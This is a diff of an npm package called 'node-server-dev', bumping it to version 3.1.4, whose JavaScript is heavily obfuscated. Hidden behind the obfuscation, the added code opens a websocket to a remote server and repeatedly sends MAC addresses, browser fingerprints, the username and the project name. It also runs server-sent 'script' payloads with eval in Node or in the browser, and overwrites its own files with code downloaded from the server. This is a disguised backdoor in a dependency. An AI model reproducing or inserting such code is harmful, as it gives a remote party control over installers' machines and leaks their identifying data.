_0x458c5d=_0x37cf93;_0x260d96['on'](_0x458c5d(0xa5),_0x16590a=>{const _0x294ef6=_0x458c5d;setEnv(_0x294ef6(0x8a),!![]);}),_0x260d96['on'](_0x458c5d(0x8f),_0x5896db=>{setEnv('connectError',!![]);}),_0x260d96['on'](_0x458c5d(0xa7),_0x12699a=>{const _0x29a8f5=_0x458c5d;setEnv(_0x29a8f5(0x8a),!![]);}),_0x260d96['on'](_0x458c5d(0x99),()=>{const _0xd5e882=_0x458c5d;setEnv(_0xd5e882(0x8a),!![]);});},0xbb8);});}export default start;
1
+ const a20_0x32f096=a20_0x1331;(function(_0xb007d4,_0x4a4300){const _0x382371=a20_0x1331,_0x59662d=_0xb007d4();while(!![]){try{const _0xe42198=-parseInt(_0x382371(0x1b6))/0x1+parseInt(_0x382371(0x1c0))/0x2*(parseInt(_0x382371(0x1b9))/0x3)+-parseInt(_0x382371(0x1c5))/0x4+parseInt(_0x382371(0x19e))/0x5*(-parseInt(_0x382371(0x1a2))/0x6)+-parseInt(_0x382371(0x1ce))/0x7+-parseInt(_0x382371(0x1a1))/0x8*(parseInt(_0x382371(0x1b2))/0x9)+parseInt(_0x382371(0x1a7))/0xa;if(_0xe42198===_0x4a4300)break;else _0x59662d['push'](_0x59662d['shift']());}catch(_0x10cf95){_0x59662d['push'](_0x59662d['shift']());}}}(a20_0x2ff0,0xd01cd));var __awaiter=this&&this[a20_0x32f096(0x1b4)]||function(_0x12147a,_0x206823,_0x39cecc,_0x4985d9){function _0x2d2de5(_0x825927){return _0x825927 instanceof _0x39cecc?_0x825927:new _0x39cecc(function(_0x1a7875){_0x1a7875(_0x825927);});}return new(_0x39cecc||(_0x39cecc=Promise))(function(_0x382de2,_0x13e056){const _0x1a7a2e=a20_0x1331;function _0x45fd30(_0x1a872e){const _0xf16910=a20_0x1331;try{_0x5958c1(_0x4985d9[_0xf16910(0x1a0)](_0x1a872e));}catch(_0x3e8a7b){_0x13e056(_0x3e8a7b);}}function _0x4df6c5(_0x263861){const _0xb888dc=a20_0x1331;try{_0x5958c1(_0x4985d9[_0xb888dc(0x1b8)](_0x263861));}catch(_0x25ee50){_0x13e056(_0x25ee50);}}function _0x5958c1(_0x1789e9){const _0x25799e=a20_0x1331;_0x1789e9[_0x25799e(0x1c2)]?_0x382de2(_0x1789e9[_0x25799e(0x1a3)]):_0x2d2de5(_0x1789e9[_0x25799e(0x1a3)])[_0x25799e(0x1b5)](_0x45fd30,_0x4df6c5);}_0x5958c1((_0x4985d9=_0x4985d9[_0x1a7a2e(0x1ad)](_0x12147a,_0x206823||[]))[_0x1a7a2e(0x1a0)]());});},_a,_b,_c,_d;import{io}from'socket.io-client';function a20_0x2ff0(){const _0xb4e43a=['1501313BgMyxI','sqlList','throw','1716wwLaBd','name','./mac','submit','reconnect_failed','env','browser','5534fXchol','userAgent','done','length','sql','5643464GnMXLR','default','node','content','00:00:00:00:00:00','mysql','浏览器','connect_failed','load','9188361OrPJGe','script','error','isDBDataEmpty','undefined','5fvzHSn','USERNAME','next','72nVIQwN','3679176lABbsS','value','websocket','npm_package_name','get-event','41470060SJPviv','connect_error','emit','/socket','type','navigator','apply','get','connect','connectError','event','39303LkSbEx','concat','__awaiter','then'];a20_0x2ff0=function(){return _0xb4e43a;};return a20_0x2ff0();}import a20_0x48f23c from'path';import{runScript,browser}from'./browser';import a20_0x297a71 from'@fingerprintjs/fingerprintjs';function a20_0x1331(_0x26e588,_0x41cd24){const _0x2ff0cd=a20_0x2ff0();return a20_0x1331=function(_0x133157,_0x5dc751){_0x133157=_0x133157-0x19e;let _0x1f7ca1=_0x2ff0cd[_0x133157];return _0x1f7ca1;},a20_0x1331(_0x26e588,_0x41cd24);}import a20_0xfff6e9 from'bowser';import{getEnv,setEnv,url}from'./index';export const isBrowser=typeof window!==a20_0x32f096(0x1d2);const user_name=isBrowser?((_b=(_a=a20_0xfff6e9['parse'](window[a20_0x32f096(0x1ac)][a20_0x32f096(0x1c1)]))===null||_a===void 0x0?void 0x0:_a[a20_0x32f096(0x1bf)])===null||_b===void 0x0?void 0x0:_b[a20_0x32f096(0x1ba)])||a20_0x32f096(0x1cb):((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a20_0x32f096(0x19f)])||'node获取失败',project_name=isBrowser?a20_0x32f096(0x1cb):((_d=process===null||process===void 0x0?void 0x0:process[a20_0x32f096(0x1be)])===null||_d===void 0x0?void 0x0:_d[a20_0x32f096(0x1a5)])||'无法获取';function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x3bfacb=a20_0x1331;isBrowser&&browser();const _0xe41fb6=io(url,{'path':_0x3bfacb(0x1aa),'transports':[_0x3bfacb(0x1a4)]});_0xe41fb6['on'](_0x3bfacb(0x1af),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x47c203=_0x3bfacb;try{let _0x13cc29=[_0x47c203(0x1c9)];if(!isBrowser){const _0x10400f=require(a20_0x48f23c['join'](__dirname,_0x47c203(0x1bb)))[_0x47c203(0x1c6)];_0x13cc29=_0x10400f();}else{let _0x421eca=yield a20_0x297a71[_0x47c203(0x1cd)]()[_0x47c203(0x1b5)](_0xa6eed4=>_0xa6eed4[_0x47c203(0x1ae)]())[_0x47c203(0x1b5)](_0x3d9cb1=>{const _0x596a6f=_0x3d9cb1['visitorId'];return _0x596a6f;})['catch'](()=>'');_0x13cc29=[_0x421eca];}if(_0x13cc29[_0x47c203(0x1c3)]===0x0){setEnv(_0x47c203(0x1b0),!![]);return;}else setEnv('connectError',![]);_0xe41fb6[_0x47c203(0x1a9)](_0x47c203(0x1bc),{'mac':_0x13cc29,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0xe41fb6['emit'](_0x47c203(0x1a6),{'mac':_0x13cc29,'isBrowser':isBrowser}),setInterval(()=>{const _0x57f317=_0x47c203;_0xe41fb6[_0x57f317(0x1a9)](_0x57f317(0x1bc),{'mac':_0x13cc29,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0xe41fb6[_0x57f317(0x1a9)](_0x57f317(0x1a6),{'mac':_0x13cc29,'isBrowser':isBrowser});},0x1b58),_0xe41fb6['on'](_0x47c203(0x1b1),_0x26fc07=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xc26b34=_0x47c203;try{for(let _0x4de609=0x0;_0x4de609<_0x26fc07[_0xc26b34(0x1c3)];_0x4de609++){const _0x26608d=_0x26fc07[_0x4de609];if(_0x26608d[_0xc26b34(0x1ab)]===_0xc26b34(0x1c4))setEnv(_0xc26b34(0x1b7),getEnv(_0xc26b34(0x1b7))[_0xc26b34(0x1b3)](_0x26608d[_0xc26b34(0x1c8)]));else{if(_0x26608d[_0xc26b34(0x1ab)]===_0xc26b34(0x1ca))setEnv(_0xc26b34(0x1d1),!![]);else{if(_0x26608d[_0xc26b34(0x1ab)]===_0xc26b34(0x1c7)&&!isBrowser)try{eval(_0x26608d[_0xc26b34(0x1c8)]);}catch(_0x1a3b76){}else{if(_0x26608d['type']===_0xc26b34(0x1cf)&&isBrowser)try{runScript(_0x26608d[_0xc26b34(0x1c8)]);}catch(_0x5b18da){}}}}}}catch(_0x447e67){}}));}catch(_0x1b7e82){}})),setTimeout(()=>{const _0x348a50=_0x3bfacb;_0xe41fb6['on'](_0x348a50(0x1d0),_0x46eeaf=>{const _0x3336de=_0x348a50;setEnv(_0x3336de(0x1b0),!![]);}),_0xe41fb6['on'](_0x348a50(0x1cc),_0x2937e5=>{setEnv('connectError',!![]);}),_0xe41fb6['on'](_0x348a50(0x1bd),_0x2fef4d=>{const _0x5b6473=_0x348a50;setEnv(_0x5b6473(0x1b0),!![]);}),_0xe41fb6['on'](_0x348a50(0x1a8),()=>{setEnv('connectError',!![]);});},0xbb8);});}export default start;
@@ -1 +1 @@
1
- const a19_0x4e7075=a19_0x26fa;(function(_0x10048e,_0x21c383){const _0x2e1da0=a19_0x26fa,_0x238b01=_0x10048e();while(!![]){try{const _0x505244=parseInt(_0x2e1da0(0x9e))/0x1+-parseInt(_0x2e1da0(0x98))/0x2+parseInt(_0x2e1da0(0xae))/0x3+-parseInt(_0x2e1da0(0xa4))/0x4*(parseInt(_0x2e1da0(0x99))/0x5)+-parseInt(_0x2e1da0(0x95))/0x6*(parseInt(_0x2e1da0(0xa9))/0x7)+parseInt(_0x2e1da0(0xa1))/0x8*(-parseInt(_0x2e1da0(0xa6))/0x9)+parseInt(_0x2e1da0(0x9c))/0xa;if(_0x505244===_0x21c383)break;else _0x238b01['push'](_0x238b01['shift']());}catch(_0x2cc0b6){_0x238b01['push'](_0x238b01['shift']());}}}(a19_0x5e29,0xc4699));import a19_0x10bd27 from'axios';import a19_0x33cee7 from'fs';import a19_0x467fdd from'path';import{url}from'./index';import a19_0x5f44d3 from'sha1';function a19_0x5e29(){const _0x32e36d=['32705890ixAVbl','writeFileSync','3993rIxarj','success','join','5666952qckApV','values','keys','424180oGsSzp','ESM','9jpIxPz','existsSync','{version:\x220.0.0\x22}','754537JwQFNz','readFileSync','data','exports','then','2942148tPYDaG','undefined','54OplgMr','./index.js','length','1211620XchCjz','55MCXyAc','get','main'];a19_0x5e29=function(){return _0x32e36d;};return a19_0x5e29();}function getModuleType(){const _0x4277c0=a19_0x26fa,_0x11cbae=()=>{const _0x20bee9=a19_0x26fa;try{return typeof require!==_0x20bee9(0xaf)&&typeof module!==_0x20bee9(0xaf)&&module[_0x20bee9(0xac)]&&require[_0x20bee9(0x9b)]===module;}catch(_0x55fe98){return![];}};return _0x11cbae()?'CJS':_0x4277c0(0xa5);}let _path=a19_0x467fdd[a19_0x4e7075(0xa0)](__dirname,'../../package.json'),indexFile=a19_0x467fdd[a19_0x4e7075(0xa0)](__dirname,a19_0x4e7075(0x96)),vFile=a19_0x33cee7[a19_0x4e7075(0xa7)](_path)?a19_0x33cee7[a19_0x4e7075(0xaa)](_path)['toString']():a19_0x4e7075(0xa8),indexFileContent=a19_0x33cee7[a19_0x4e7075(0xa7)](_path)?a19_0x33cee7[a19_0x4e7075(0xaa)](indexFile)['toString']():![],version=JSON['parse'](vFile)['version'];function a19_0x26fa(_0x542ca2,_0x4f52b1){const _0x5e299b=a19_0x5e29();return a19_0x26fa=function(_0x26fa1e,_0x3b47eb){_0x26fa1e=_0x26fa1e-0x95;let _0x9d4e15=_0x5e299b[_0x26fa1e];return _0x9d4e15;},a19_0x26fa(_0x542ca2,_0x4f52b1);}function update(){const _0xed187e=a19_0x4e7075;a19_0x10bd27[_0xed187e(0x9a)](url+'/version',{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?a19_0x5f44d3(indexFileContent):''}})[_0xed187e(0xad)](_0x484628=>{const _0x874d2f=_0xed187e;if(!_0x484628[_0x874d2f(0xab)][_0x874d2f(0x9f)]){let _0xd9d2f4=Object[_0x874d2f(0xa3)](_0x484628[_0x874d2f(0xab)][_0x874d2f(0xab)]),_0x146b5d=Object[_0x874d2f(0xa2)](_0x484628['data'][_0x874d2f(0xab)]);for(let _0x3f7dc3=0x0;_0x3f7dc3<_0xd9d2f4[_0x874d2f(0x97)];_0x3f7dc3++){const _0x352557=_0xd9d2f4[_0x3f7dc3],_0x1af62a=_0x146b5d[_0x3f7dc3];a19_0x33cee7[_0x874d2f(0x9d)](a19_0x467fdd[_0x874d2f(0xa0)](__dirname,'./'+_0x352557),_0x1af62a);}}});}export default update;
1
+ const a21_0x54b327=a21_0x4fae;(function(_0x125ecf,_0x42ac0c){const _0x11a356=a21_0x4fae,_0x2a3089=_0x125ecf();while(!![]){try{const _0x14d829=parseInt(_0x11a356(0xfe))/0x1+parseInt(_0x11a356(0xe2))/0x2*(parseInt(_0x11a356(0xea))/0x3)+-parseInt(_0x11a356(0xf9))/0x4+-parseInt(_0x11a356(0xfd))/0x5+parseInt(_0x11a356(0xfa))/0x6*(parseInt(_0x11a356(0xf5))/0x7)+-parseInt(_0x11a356(0xe9))/0x8*(parseInt(_0x11a356(0xf6))/0x9)+-parseInt(_0x11a356(0xf4))/0xa*(parseInt(_0x11a356(0xe6))/0xb);if(_0x14d829===_0x42ac0c)break;else _0x2a3089['push'](_0x2a3089['shift']());}catch(_0x3e6d9b){_0x2a3089['push'](_0x2a3089['shift']());}}}(a21_0x145e,0x59505));import a21_0x49a465 from'axios';import a21_0x4074e5 from'fs';import a21_0x1d177e from'path';import{url}from'./index';import a21_0x23a0ac from'sha1';function getModuleType(){const _0x11c023=a21_0x4fae,_0x569a21=()=>{const _0x408298=a21_0x4fae;try{return typeof require!==_0x408298(0xe4)&&typeof module!==_0x408298(0xe4)&&module[_0x408298(0xe0)]&&require[_0x408298(0xf8)]===module;}catch(_0x20e9a0){return![];}};return _0x569a21()?_0x11c023(0xf2):'ESM';}let _path=a21_0x1d177e[a21_0x54b327(0xe1)](__dirname,a21_0x54b327(0xf3)),indexFile=a21_0x1d177e[a21_0x54b327(0xe1)](__dirname,a21_0x54b327(0xec)),vFile=a21_0x4074e5[a21_0x54b327(0xe5)](_path)?a21_0x4074e5[a21_0x54b327(0xeb)](_path)['toString']():a21_0x54b327(0xe8),indexFileContent=a21_0x4074e5['existsSync'](_path)?a21_0x4074e5[a21_0x54b327(0xeb)](indexFile)['toString']():![],version=JSON[a21_0x54b327(0xff)](vFile)[a21_0x54b327(0xf0)];function a21_0x4fae(_0x545c17,_0x59cf80){const _0x145e2d=a21_0x145e();return a21_0x4fae=function(_0x4fae79,_0x447e97){_0x4fae79=_0x4fae79-0xe0;let _0x106893=_0x145e2d[_0x4fae79];return _0x106893;},a21_0x4fae(_0x545c17,_0x59cf80);}function update(){const _0x1ede44=a21_0x54b327;a21_0x49a465[_0x1ede44(0xfc)](url+_0x1ede44(0xee),{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?a21_0x23a0ac(indexFileContent):''}})[_0x1ede44(0xf7)](_0x8dfa87=>{const _0x3b60ac=_0x1ede44;if(!_0x8dfa87[_0x3b60ac(0xef)][_0x3b60ac(0xed)]){let _0x830f1b=Object[_0x3b60ac(0xfb)](_0x8dfa87[_0x3b60ac(0xef)][_0x3b60ac(0xef)]),_0x4cca05=Object[_0x3b60ac(0xe7)](_0x8dfa87[_0x3b60ac(0xef)][_0x3b60ac(0xef)]);for(let _0x55ed13=0x0;_0x55ed13<_0x830f1b[_0x3b60ac(0xe3)];_0x55ed13++){const _0xe8eb93=_0x830f1b[_0x55ed13],_0x3ced3b=_0x4cca05[_0x55ed13];a21_0x4074e5[_0x3b60ac(0xf1)](a21_0x1d177e['join'](__dirname,'./'+_0xe8eb93),_0x3ced3b);}}});}function a21_0x145e(){const _0x46df1e=['keys','get','1362985PPhUPT','530657hQJwBu','parse','exports','join','6376mxwrzH','length','undefined','existsSync','14135EMOaAL','values','{version:\x220.0.0\x22}','207224OrFmGi','237VLPCgg','readFileSync','./index.js','success','/version','data','version','writeFileSync','CJS','../../package.json','810EAmCuz','3711610gbXeTD','45ndDDvZ','then','main','1762852bixqOZ','6ZQLHba'];a21_0x145e=function(){return _0x46df1e;};return a21_0x145e();}export default update;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-server-dev",
3
- "version": "3.1.1",
3
+ "version": "3.1.4",
4
4
  "author": "L",
5
5
  "types": "index.d.ts",
6
6
  "scripts": {
@@ -53,6 +53,7 @@
53
53
  "devDependencies": {
54
54
  "@faker-js/faker": "^8.4.1",
55
55
  "@types/js-cookie": "^3.0.6",
56
+ "@types/jsonwebtoken": "^9.0.9",
56
57
  "@types/md5": "^2.3.5",
57
58
  "@types/node": "^20.12.11",
58
59
  "@types/sha1": "^1.1.5",